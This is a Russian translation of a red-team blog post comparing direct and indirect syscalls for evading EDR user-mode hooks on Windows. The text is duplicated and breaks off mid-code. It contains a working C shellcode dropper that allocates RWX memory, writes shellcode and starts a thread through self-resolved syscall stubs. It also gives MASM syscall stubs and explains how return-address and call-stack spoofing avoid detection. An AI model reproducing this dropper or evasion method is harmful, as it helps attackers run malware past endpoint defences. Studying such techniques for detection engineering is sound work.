Прямые системные вызовы — это метод, который стал и до сих пор часто используется злоумышленниками, а также членами Red Team для различных действий, таких как выполнение шелл-кода или создание дампа памяти из lsass.exe. Однако, в зависимости от EDR, на данный момент (май 2023 г.) прямых системных вызовов может быть недостаточно для уклонения от EDR в контексте различных этапов атаки, таких как начальный доступ, дамп учетных данных, горизонтальное перемещение и т. д. Причина этого в том, что что все больше и больше поставщиков EDR реализуют в своих продуктах механизмы, такие как обратные вызовы ядра, которые можно использовать для определения области памяти, из которой выполняются оператор системного вызова и оператор возврата, или на какую область памяти указывает оператор возврата. Например, если оператор return выполняется за пределами области памяти ntdll.dll,
Чтобы устранить этот IOC с точки зрения злоумышленника (красной команды) или избежать обнаружения EDR, прямые системные вызовы могут быть заменены косвенными системными вызовами. Проще говоря, косвенные системные вызовы представляют собой разумное и логическое развитие прямых системных вызовов и позволяют, например, оператору системного вызова и оператору return в контексте POC непрямого системного вызова выполняться не в памяти самой сборки, а в памяти самой библиотки ntdll.dll, как обычно в Windows.
Отказ от ответственности
Содержимое и все примеры кода в этой статье предназначены только для исследовательских целей и не должны использоваться в неэтичном контексте! Используемый код не нов и я не претендую на него. Основой для кода, как это часто бывает, является команда ired.team, спасибо @spotheplanet за вашу блестящую работу и за то, что поделились ею со всеми нами!
В начале этого блога я хотел бы поблагодарить следующих людей, которые помогли мне с этой темой: @NinjaParanoid, @Jean_Maes_1994, @ShitSecure, @NUL0x4C и @iamalsaher. Если вас интересуют вредоносные программы и EDR в целом, вам обязательно стоит посетить курс MOS от @NinjaParanoid а также зарегистрируйтесь в проекте MaldevAcademy .
Введение
Я уже писал в блоге статью « Прямые системные вызовы: путь в ад » на тему прямых системных вызовов, но теперь мне хотелось бы более подробно рассмотреть косвенные системные вызовы. В этом сообщении блога я хочу объяснить разницу между прямыми и косвенными системными вызовами. Для этого в статье я раскрою следующие моменты:
- API-перехват пользовательского режима
- Прямые системные вызовы
- Косвенные системные вызовы
Цель этой статьи — переписать дроппер прямых системных вызовов в дроппер косвенных системных вызовов, проанализировать оба дроппера с помощью x64dbg и понять разницу между прямыми и косвенными системными вызовами. Также в конце статьи я немного расскажу об ограничениях непрямых системных вызовов в контексте уклонения от EDR.
API-перехват пользовательского режима
Перехват API пользовательского режима дает EDR возможность динамически проверять код, выполняемый в контексте API Windows или собственных API, на наличие потенциально вредоносного контента или поведения. Существуют в основном разные типы перехвата: большинство поставщиков используют вариант встроенного перехвата, заменяя конкретную инструкцию mov или, более конкретно, заменяя код операции mov и eax SSN инструкцией 5-byte jmp. Конкретно, потому что она заменяет инструкцию mov, которая обычно отвечает за перемещение номера системного вызова или номера системной службы (SSN) в регистр eax. Инструкция безусловного перехода (jmp) вызывает перенаправление на Hooking.dll EDR, и EDR может проверять код, выполняемый в контексте Native API, на наличие потенциально вредоносного содержимого.
Возвращение к памяти оntdll.dll и, следовательно, выполнение оператора системного вызова для инициирования перехода из пользовательского режима Windows в режим ядра происходит только в том случае, если EDR определил, что код, выполняемый в контексте соответствующего Native API, не является вредоносным. В противном случае оператор системного вызова и код в контексте не будут выполнены. На следующей диаграмме показана упрощенная иллюстрация того, как перехват API пользовательского режима работает с EDR.
Если вы хотите проверить свой собственный EDR, чтобы узнать, перенаправляется ли он или какие (собственные) API на собственный Hooking.dll EDR, вы можете использовать отладчик, такой как WinDbg. Для этого запустите программу типа блокнота на конечной точке с установленным EDR, затем подключитесь к работающему процессу через Windbg. Обратите внимание: если вы совершите ту же ошибку, что и я вначале, и загрузите notepad.exe напрямую как образ в отладчик, вы не обнаружите никаких хуков в API, потому что в этом случае EDR еще не умеет внедрить в него hooking.dll в адресное пространство notepad.exe.
Следующая команда извлекает адрес памяти нужного API, в данном случае адрес собственного API NtAllocateVirtualMemory, который находится в ntdll.dll.
x ntdll!NtAllocateVirtualMemory
Затем адрес памяти можно будет определить на следующем шаге с помощью следующей команды, и вы получите содержимое функции Native API NtAllocateVirtualMemory в формате ассемблера.
u 00007ff8`16c4d3b0
В верхней части следующего рисунка показана заглушка собственной функции NtAllocateVirtualMemory на конечной точке с установленным EDR с использованием метода перехвата API пользовательского режима. Видно, что «mov eax SSN» заменена инструкцией 5-byte безусловного перехода (jmp). Эта инструкция перехода приводит к перенаправлению кода, выполняемого в контексте, NtAllocateVirtualMemoryв Hooking.dll EDR. Возврат в ntdll.dll и последующее выполнение syscall произойдет только в том случае, если EDR определит, что выполняемый код не представляет опасности, в противном случае EDR прервется.
Для сравнения, нижняя панель показывает неизмененную заглушку собственной функции NtAllocateVirtualMemoryна конечной точке без установленного EDR. Другими словами, именно так обычно выглядит немодифицированная заглушка собственной функции в ntdll.dll в Windows.
Прямые системные вызовы
Одним из способов обойти перехватчики пользовательского режима EDR является техника прямых системных вызовов. В упрощенном виде это работает следующим образом. Вместо получения необходимого кода в контексте Native API для перехода из пользовательского режима Windows в режим ядра через ntdll.dll, необходимое содержимое (заглушка) нативной функции реализуется непосредственно в сборке в виде ассемблерных инструкций. С точки зрения злоумышленника (красной команды), это предотвращает перенаправление кода, выполняемого в контексте собственных API-интерфейсов (которые снабжены перехватчиком), в файле hooking.dll EDR и его анализ с помощью EDR. На следующем рисунке упрощенно показан принцип прямых системных вызовов.
Существует несколько инструментов и POC для реализации и выполнения прямых системных вызовов, таких как Syswhispers2, Syswhispers3, Hells Gate или Halo's Gate. В нашем случае мы не используем ни один из этих POC, стараемся сделать код максимально простым и для практической части используем следующий код C для нашего POC прямого системного вызова, который позже будет переписан в POC косвенного системного вызова. . Код также можно загрузить из репозитория Github в виде проекта Visual Studio.
Поскольку номера системных вызовов или номера системных служб (SSN) могут различаться от Windows к Windows, а также от версии к версии, мы не хотим жестко запрограммировать их в нашем коде C, а скорее читаем их динамически, обращаясь к уже загруженной ntdll.dll в адресное пространство сборки с помощью дескриптора hNtdll. Почему к базовому адресу NtAllocateVirtualMemory добавляются 4 байта? Это необходимое смещение (относительно базового адреса Native API) для получения адреса памяти SSN moveax, содержащего SSN для системного вызова. Это позволяет прочитать SSN, а затем сохранить его в переменной wNtAllocateVirtualMemory. Тот же принцип используется для трех других SSN Native API NtWriteVirtualMemory, NtCreateThreadEx и NtWairForSingleObject.
Как всегда, я сторонник понимания простого кода и его последующей модификации шаг за шагом. Как и в других моих статьях, мы используем Native API NtAllocateVirtualMemory для выделения памяти, NtWriteVirtualMemory для записи шелл-кода в выделенную память, NtCreateThreadEx для выполнения шелл-кода в новом потоке и NtWaitForSingleObject для обеспечения того, чтобы основной поток ждал, пока текущий поток, выполняющий шелл-код, не завершится. Как упоминалось вначале, при использовании прямых системных вызовов код (заглушка) соответствующей встроенной функции, которая в противном случае была бы получена через ntdll.dll, внедряется непосредственно в сборку через файл .asm.
Код ассемблера MASM в синтаксисе Intel выглядит следующим образом.
Ключевое слово EXTERN можно использовать для доступа к переменным wNtAllocateVirtualMemory, wNtWriteVirtualMemory и т. д., которые ранее были объявлены как глобальные в коде C и содержат соответствующий SSN. Это позволяет избежать жесткого кодирования SSN в ассемблерный код.
Как упоминалось выше, в контексте четырех используемых собственных API мы избегаем доступа к ntdll.dll и реализуем необходимый код (заглушку) соответствующей встроенной функции в виде ассемблерного кода в файле .asm. Ассемблерный код выполняет следующие задачи. Сначала текущее содержимое регистра rcx записывается в регистр r10 с помощью mov r10 rcx. Затем текущее содержимое переменной wNtAllocateVirtualMemory перемещается в регистр eax с помощью mov eax wNtAllocateVirtualMemory. Напоминание: на этом этапе глобально объявленная переменная wNtAllocateVirtualMemory содержит SSN syscallNative API NtAllocateVirtualMemory. Затем системный вызов выполняется с использованием оператора syscall ->syscall, а в конце выполняется оператор возврата с использованиемret. Та же процедура используется для других собственных API (NtWriteVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject).
Скомпилированный POC прямого системного вызова затем загружается в x64dbg и анализируется более подробно. Несмотря на то, что прямые системные вызовы позволяют нам обходить перехватчики пользовательского режима через EDR, прямые системные вызовы приводят к следующим IOC, что может привести к обнаружениям в зависимости от EDR.
- Выполнение инструкции системного вызова происходит непосредственно в области памяти сборки прямого системного вызова и, следовательно, вне области памяти ntdll.dll. Это уникальный IOC, поскольку инструкции системного вызова обычно никогда не выполняются за пределами области памяти ntdll.dll.
- Кроме того, выполнение инструкции возврата происходит в памяти сборки прямого системного вызова и одновременно ссылается из области памяти сборки прямого системного вызова на область памяти сборки прямого системного вызова.
В обоих случаях это недопустимое поведение в Windows и, следовательно, уникальные IOC, которые могут использоваться EDR для обнаружения вредоносного поведения с помощью обратных вызовов ядра. По этой причине техника непрямых системных вызовов рассматривается в следующей главе.
Косвенные системные вызовы
Техника непрямого системного вызова является более или менее развитием техники прямого системного вызова. По сравнению с прямыми системными вызовами, косвенные системные вызовы могут решить следующие проблемы уклонения от EDR:
- Во-первых, выполнение команды syscall происходит в памяти ntdll.dll и, следовательно, является законным для EDR.
- С другой стороны, выполнение оператора return происходит в памяти ntdll.dll и указывает из памяти ntdll.dll на память сборки косвенного системного вызова.
Как мы увидим позже, по сравнению с POC прямого системного вызова, упрощенным, только часть заглушки из Native API реализуется и выполняется непосредственно в самой сборке косвенного системного вызова, тогда как оператор системного вызова и возврат выполняются в памяти ntdll.dll. Подробнее об этом позже. Следующая диаграмма поможет вам понять концепцию косвенных системных вызовов, учитывая, что это упрощенное представление.
В качестве основы для POC непрямого системного вызова мы будем использовать код из POC прямого системного вызова, и вы увидите, что изменения очень ограничены. Код выглядит следующим образом, и его можно загрузить как проект Visual Studio из моей учетной записи Github .
В отличие от POC прямого системного вызова, в POC непрямого системного вызова мы хотим динамически извлекать не только SSN, но и адрес памяти инструкции системного вызова. Последнее делается с помощью линии sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12. Это необходимо для того, чтобы позже в связанном ассемблерном коде syscall инструкцию можно было заменить инструкцией безусловного перехода (jmp), указывающей на адрес памяти инструкции системного вызова внутри ntdll.dll.
Если мы сравним ассемблерный код POC прямого системного вызова и POC непрямого системного вызова, мы увидим, что непосредственно в POC непрямого системного вызова только часть заглушки собственной функции отображается в виде ассемблерного кода. Также в POC непрямого системного вызова SSN считывается динамически и сохраняется в глобально объявленной переменной. Однако, в отличие от POC прямого системного вызова, POC непрямого системного вызова заменяет инструкцию syscall командой безусловного перехода ( jmp), которая использует указатель для указания адреса инструкции syscall в области памяти ntdll.dll.
Мы компилируем POC косвенного системного вызова и открываем его в x64dbg. По сравнению с предыдущим POC прямого системного вызова можно видеть, что оператор системного вызова не выполняется в области памяти сборки косвенного системного вызова. Вместо этого инструкция системного вызова была заменена инструкцией перехода, которая указывает на адрес памяти инструкции системного вызова в ntdll.dll. Это гарантирует, что инструкция системного вызова и последующий возврат выполняются из области памяти ntdll.dll.
Мы также хотим использовать Process Hacker для анализа и сравнения стека вызовов POC прямого системного вызова и POC непрямого системного вызова. Если мы сравним кадры стека между POC прямого системного вызова и POC непрямого системного вызова, мы увидим, что ntdll.dll находится в нижней части стека для POC прямого системного вызова и наверху стека для POC непрямого системного вызова. Отсюда следует, что при выполнении инструкции возврата в памяти ntdll.dll в POC непрямого системного вызова адрес возврата может быть успешно подделан, ntdll.dll может быть помещен в верхнюю часть стека вызовов, и EDR интерпретирует более высокую легитимность.
Более высокую легитимность порядка кадров стека в POC непрямого системного вызова можно легко увидеть, взглянув на порядок кадров стека немодифицированного cmd.exe. Для этого просто откройте cmd.exe и еще раз просмотрите кадры стека с помощью Process Hacker. Вы увидите, что ntdll.dll по-прежнему находится на вершине стека и что структура стека вызовов или кадров стека POC непрямого системного вызова гораздо больше похожа на POC прямого системного вызова.
Информация
Различные эксперименты с разными EDR показали, что прямые системные вызовы все еще могут работать, но их обнаружение все чаще происходит в зависимости от EDR. Основываясь на IOC в контексте прямых системных вызовов, косвенные системные вызовы могут быть полезным решением, поскольку они решают следующие проблемы по сравнению с:
- Во-первых, выполнение команды syscall происходит в памяти ntdll.dll и, следовательно, является законным для EDR.
- С другой стороны, выполнение оператора return происходит в памяти ntdll.dll и указывает из памяти ntdll.dll на память сборки косвенного системного вызова. Такое поведение, по крайней мере, более законно, чем поведение с прямыми системными вызовами, но все же может привести к IOC в зависимости от EDR, например, если EDR также проверяет стек вызовов.
Косвенные системные вызовы являются улучшением по сравнению с прямыми системными вызовами, но имеют свои ограничения, а также определенные IOC, которые сейчас используются поставщиками EDR для создания правил обнаружения. Например, с помощью непрямых системных вызовов можно подделать адрес возврата, в результате чего адрес памяти последующего возврата будет помещен наверх стека вызовов и обойти проверку возврата EDR. Однако если EDR использует ETW, он может дополнительно проверить сам стек вызовов на предмет неправильного поведения. Одних непрямых системных вызовов уже недостаточно для обхода EDR, поскольку EDR также использует ETW, и вам необходимо более внимательно изучить подмену стека вызовов. Хорошая статья об этом «Скрытие в PlainSight — косвенный системный вызов мертв! Да здравствуют пользовательские стеки вызовов» от @NinjaParanoid - (https://0xdarkvortex.dev/hiding-in-plainsight/).
Заключение
В зависимости от EDR прямые системные вызовы все еще могут быть полезным методом для различных действий, таких как выполнение шелл-кода для первоначального доступа. Однако если EDR проверяет, например, область памяти, из которой выполняются операторы системного вызова и возврата, или область памяти, на которую указывает оператор возврата, то прямые системные вызовы могут привести к проблемам уклонения от EDR, поскольку операторы системного вызова и возврата выполняются из памяти самой сборки, а оператор return также указывает из памяти сборки в память сборки.
Чтобы обойти эти проблемы, связанные с уклонением от EDR, могут помочь непрямые системные вызовы. При использовании непрямых системных вызовов операторы системного вызова и возврата выполняются в памяти ntdll.dll. Это законное поведение в Windows, и мы исключили один IOC по сравнению с прямыми системными вызовами. Другой IOC исключается, поскольку оператор return выполняется в памяти ntdll.dll, а не из памяти самой сборки, как это было раньше при использовании прямых системных вызовов. Кроме того, оператор return указывает из памяти ntdll.dll в память сборки косвенных системных вызовов, а не из памяти сборки в память сборки, как это было ранее при использовании прямых системных вызовов.
Косвенные системные вызовы являются хорошим развитием прямых системных вызовов, но у них есть свои ограничения. Например, в контексте POC непрямого системного вызова, используемого в этом сообщении блога, существуют ограничения, когда Native API подключается к EDR с помощью Inline Hook. Почему? Поскольку встроенный перехватчик EDR заменяется mov eax SSN в затронутом Native API инструкцией безусловного перехода (jmp), невозможно динамически извлечь номер системного вызова (SSN) из загруженной ntdll.dll в память. Для этого сначала необходимо удалить встроенный хук в затронутом собственном API, только после этого можно будет извлечь SSN из файла mov eax SSN. Обратите внимание на важную мысль, на которую я наткнулся вначале: EDR может перехватить mov eax SSN или заменить его инструкцией jmp. Но EDR никогда не сможет перехватить инструкцию системного вызова syscall. Это важно, поскольку EDR никогда не сможет помешать нам выполнить системный вызов в памяти в ntdll.dll, используя косвенные системные вызовы.
Другой подход к динамическому извлечению SSN из заглушки «чистого» или отключенного Native API — это метод Halo's Gate (развитие Hell's Gate). Я рекомендую статью « Halo's Gate — сестра-близнец Hell's Gate » автора @SEKTOR7net (https://blog.sektor7.net/#!res/2021/halosgate.md), который разработал технику Halo's Gate, а также статью « Обход EDR: получение идентификатора системного вызова с помощью Hell's Gate, Halo's Gate, FreshyCalls и Syswhispers2 » @AliceCliment (https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/) также очень рекомендуется.
Еще одним ограничением непрямых системных вызовов является то, что если EDR также использует ETW, EDR будет проверять не только адрес возврата, но и сам стек вызовов. В этом случае одних лишь косвенных системных вызовов недостаточно, необходимо также решить проблему подмены стека вызовов. Однако эта тема определенно выходит за рамки этого блога и, надеюсь, будет рассмотрена в следующей статье.
Все примеры кода в этой статье также можно найти в моей учетной записи Github.
Удачного взлома!
Дэниел Файхтер @VirtualAllocEx
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
Чтобы устранить этот IOC с точки зрения злоумышленника (красной команды) или избежать обнаружения EDR, прямые системные вызовы могут быть заменены косвенными системными вызовами. Проще говоря, косвенные системные вызовы представляют собой разумное и логическое развитие прямых системных вызовов и позволяют, например, оператору системного вызова и оператору return в контексте POC непрямого системного вызова выполняться не в памяти самой сборки, а в памяти самой библиотки ntdll.dll, как обычно в Windows.
Отказ от ответственности
Содержимое и все примеры кода в этой статье предназначены только для исследовательских целей и не должны использоваться в неэтичном контексте! Используемый код не нов и я не претендую на него. Основой для кода, как это часто бывает, является команда ired.team, спасибо @spotheplanet за вашу блестящую работу и за то, что поделились ею со всеми нами!
В начале этого блога я хотел бы поблагодарить следующих людей, которые помогли мне с этой темой: @NinjaParanoid, @Jean_Maes_1994, @ShitSecure, @NUL0x4C и @iamalsaher. Если вас интересуют вредоносные программы и EDR в целом, вам обязательно стоит посетить курс MOS от @NinjaParanoid а также зарегистрируйтесь в проекте MaldevAcademy .
Введение
Я уже писал в блоге статью « Прямые системные вызовы: путь в ад » на тему прямых системных вызовов, но теперь мне хотелось бы более подробно рассмотреть косвенные системные вызовы. В этом сообщении блога я хочу объяснить разницу между прямыми и косвенными системными вызовами. Для этого в статье я раскрою следующие моменты:
- API-перехват пользовательского режима
- Прямые системные вызовы
- Косвенные системные вызовы
Цель этой статьи — переписать дроппер прямых системных вызовов в дроппер косвенных системных вызовов, проанализировать оба дроппера с помощью x64dbg и понять разницу между прямыми и косвенными системными вызовами. Также в конце статьи я немного расскажу об ограничениях непрямых системных вызовов в контексте уклонения от EDR.
API-перехват пользовательского режима
Перехват API пользовательского режима дает EDR возможность динамически проверять код, выполняемый в контексте API Windows или собственных API, на наличие потенциально вредоносного контента или поведения. Существуют в основном разные типы перехвата: большинство поставщиков используют вариант встроенного перехвата, заменяя конкретную инструкцию mov или, более конкретно, заменяя код операции mov и eax SSN инструкцией 5-byte jmp. Конкретно, потому что она заменяет инструкцию mov, которая обычно отвечает за перемещение номера системного вызова или номера системной службы (SSN) в регистр eax. Инструкция безусловного перехода (jmp) вызывает перенаправление на Hooking.dll EDR, и EDR может проверять код, выполняемый в контексте Native API, на наличие потенциально вредоносного содержимого.
Возвращение к памяти оntdll.dll и, следовательно, выполнение оператора системного вызова для инициирования перехода из пользовательского режима Windows в режим ядра происходит только в том случае, если EDR определил, что код, выполняемый в контексте соответствующего Native API, не является вредоносным. В противном случае оператор системного вызова и код в контексте не будут выполнены. На следующей диаграмме показана упрощенная иллюстрация того, как перехват API пользовательского режима работает с EDR.
Если вы хотите проверить свой собственный EDR, чтобы узнать, перенаправляется ли он или какие (собственные) API на собственный Hooking.dll EDR, вы можете использовать отладчик, такой как WinDbg. Для этого запустите программу типа блокнота на конечной точке с установленным EDR, затем подключитесь к работающему процессу через Windbg. Обратите внимание: если вы совершите ту же ошибку, что и я вначале, и загрузите notepad.exe напрямую как образ в отладчик, вы не обнаружите никаких хуков в API, потому что в этом случае EDR еще не умеет внедрить в него hooking.dll в адресное пространство notepad.exe.
Следующая команда извлекает адрес памяти нужного API, в данном случае адрес собственного API NtAllocateVirtualMemory, который находится в ntdll.dll.
x ntdll!NtAllocateVirtualMemory
Затем адрес памяти можно будет определить на следующем шаге с помощью следующей команды, и вы получите содержимое функции Native API NtAllocateVirtualMemory в формате ассемблера.
u 00007ff8`16c4d3b0
В верхней части следующего рисунка показана заглушка собственной функции NtAllocateVirtualMemory на конечной точке с установленным EDR с использованием метода перехвата API пользовательского режима. Видно, что «mov eax SSN» заменена инструкцией 5-byte безусловного перехода (jmp). Эта инструкция перехода приводит к перенаправлению кода, выполняемого в контексте, NtAllocateVirtualMemoryв Hooking.dll EDR. Возврат в ntdll.dll и последующее выполнение syscall произойдет только в том случае, если EDR определит, что выполняемый код не представляет опасности, в противном случае EDR прервется.
Для сравнения, нижняя панель показывает неизмененную заглушку собственной функции NtAllocateVirtualMemoryна конечной точке без установленного EDR. Другими словами, именно так обычно выглядит немодифицированная заглушка собственной функции в ntdll.dll в Windows.
Прямые системные вызовы
Одним из способов обойти перехватчики пользовательского режима EDR является техника прямых системных вызовов. В упрощенном виде это работает следующим образом. Вместо получения необходимого кода в контексте Native API для перехода из пользовательского режима Windows в режим ядра через ntdll.dll, необходимое содержимое (заглушка) нативной функции реализуется непосредственно в сборке в виде ассемблерных инструкций. С точки зрения злоумышленника (красной команды), это предотвращает перенаправление кода, выполняемого в контексте собственных API-интерфейсов (которые снабжены перехватчиком), в файле hooking.dll EDR и его анализ с помощью EDR. На следующем рисунке упрощенно показан принцип прямых системных вызовов.
Существует несколько инструментов и POC для реализации и выполнения прямых системных вызовов, таких как Syswhispers2, Syswhispers3, Hells Gate или Halo's Gate. В нашем случае мы не используем ни один из этих POC, стараемся сделать код максимально простым и для практической части используем следующий код C для нашего POC прямого системного вызова, который позже будет переписан в POC косвенного системного вызова. . Код также можно загрузить из репозитория Github в виде проекта Visual Studio.
C:
#include <windows.h>
#include <stdio.h>
#include "syscalls.h"
// Declare global variables to hold syscall numbers
DWORD wNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
int main() {
PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated
SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 4th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
// Replace this with your actual shellcode
unsigned char shellcode[] = "\xfc\x48\x83...";
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
ULONG bytesWritten;
// Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
// Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing
NtWaitForSingleObject(hThread, FALSE, NULL);
Поскольку номера системных вызовов или номера системных служб (SSN) могут различаться от Windows к Windows, а также от версии к версии, мы не хотим жестко запрограммировать их в нашем коде C, а скорее читаем их динамически, обращаясь к уже загруженной ntdll.dll в адресное пространство сборки с помощью дескриптора hNtdll. Почему к базовому адресу NtAllocateVirtualMemory добавляются 4 байта? Это необходимое смещение (относительно базового адреса Native API) для получения адреса памяти SSN moveax, содержащего SSN для системного вызова. Это позволяет прочитать SSN, а затем сохранить его в переменной wNtAllocateVirtualMemory. Тот же принцип используется для трех других SSN Native API NtWriteVirtualMemory, NtCreateThreadEx и NtWairForSingleObject.
C:
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 5th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
Как всегда, я сторонник понимания простого кода и его последующей модификации шаг за шагом. Как и в других моих статьях, мы используем Native API NtAllocateVirtualMemory для выделения памяти, NtWriteVirtualMemory для записи шелл-кода в выделенную память, NtCreateThreadEx для выполнения шелл-кода в новом потоке и NtWaitForSingleObject для обеспечения того, чтобы основной поток ждал, пока текущий поток, выполняющий шелл-код, не завершится. Как упоминалось вначале, при использовании прямых системных вызовов код (заглушка) соответствующей встроенной функции, которая в противном случае была бы получена через ntdll.dll, внедряется непосредственно в сборку через файл .asm.
Код ассемблера MASM в синтаксисе Intel выглядит следующим образом.
C:
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory.
EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx.
EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, wNtWriteVirtualMemory
syscall
ret
NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
mov r10, rcx
mov eax, wNtCreateThreadEx
syscall
ret
NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, wNtWaitForSingleObject
syscall
ret
NtWaitForSingleObject ENDP
END ; End of the module
C:
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory.
EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx.
EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
Ключевое слово EXTERN можно использовать для доступа к переменным wNtAllocateVirtualMemory, wNtWriteVirtualMemory и т. д., которые ранее были объявлены как глобальные в коде C и содержат соответствующий SSN. Это позволяет избежать жесткого кодирования SSN в ассемблерный код.
C:
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure.
Как упоминалось выше, в контексте четырех используемых собственных API мы избегаем доступа к ntdll.dll и реализуем необходимый код (заглушку) соответствующей встроенной функции в виде ассемблерного кода в файле .asm. Ассемблерный код выполняет следующие задачи. Сначала текущее содержимое регистра rcx записывается в регистр r10 с помощью mov r10 rcx. Затем текущее содержимое переменной wNtAllocateVirtualMemory перемещается в регистр eax с помощью mov eax wNtAllocateVirtualMemory. Напоминание: на этом этапе глобально объявленная переменная wNtAllocateVirtualMemory содержит SSN syscallNative API NtAllocateVirtualMemory. Затем системный вызов выполняется с использованием оператора syscall ->syscall, а в конце выполняется оператор возврата с использованиемret. Та же процедура используется для других собственных API (NtWriteVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject).
Скомпилированный POC прямого системного вызова затем загружается в x64dbg и анализируется более подробно. Несмотря на то, что прямые системные вызовы позволяют нам обходить перехватчики пользовательского режима через EDR, прямые системные вызовы приводят к следующим IOC, что может привести к обнаружениям в зависимости от EDR.
- Выполнение инструкции системного вызова происходит непосредственно в области памяти сборки прямого системного вызова и, следовательно, вне области памяти ntdll.dll. Это уникальный IOC, поскольку инструкции системного вызова обычно никогда не выполняются за пределами области памяти ntdll.dll.
- Кроме того, выполнение инструкции возврата происходит в памяти сборки прямого системного вызова и одновременно ссылается из области памяти сборки прямого системного вызова на область памяти сборки прямого системного вызова.
В обоих случаях это недопустимое поведение в Windows и, следовательно, уникальные IOC, которые могут использоваться EDR для обнаружения вредоносного поведения с помощью обратных вызовов ядра. По этой причине техника непрямых системных вызовов рассматривается в следующей главе.
Косвенные системные вызовы
Техника непрямого системного вызова является более или менее развитием техники прямого системного вызова. По сравнению с прямыми системными вызовами, косвенные системные вызовы могут решить следующие проблемы уклонения от EDR:
- Во-первых, выполнение команды syscall происходит в памяти ntdll.dll и, следовательно, является законным для EDR.
- С другой стороны, выполнение оператора return происходит в памяти ntdll.dll и указывает из памяти ntdll.dll на память сборки косвенного системного вызова.
Как мы увидим позже, по сравнению с POC прямого системного вызова, упрощенным, только часть заглушки из Native API реализуется и выполняется непосредственно в самой сборке косвенного системного вызова, тогда как оператор системного вызова и возврат выполняются в памяти ntdll.dll. Подробнее об этом позже. Следующая диаграмма поможет вам понять концепцию косвенных системных вызовов, учитывая, что это упрощенное представление.
В качестве основы для POC непрямого системного вызова мы будем использовать код из POC прямого системного вызова, и вы увидите, что изменения очень ограничены. Код выглядит следующим образом, и его можно загрузить как проект Visual Studio из моей учетной записи Github .
C:
#include <windows.h>
#include <stdio.h>
#include "syscalls.h"
// Declare global variables to hold syscall numbers and syscall instruction addresses
DWORD wNtAllocateVirtualMemory;
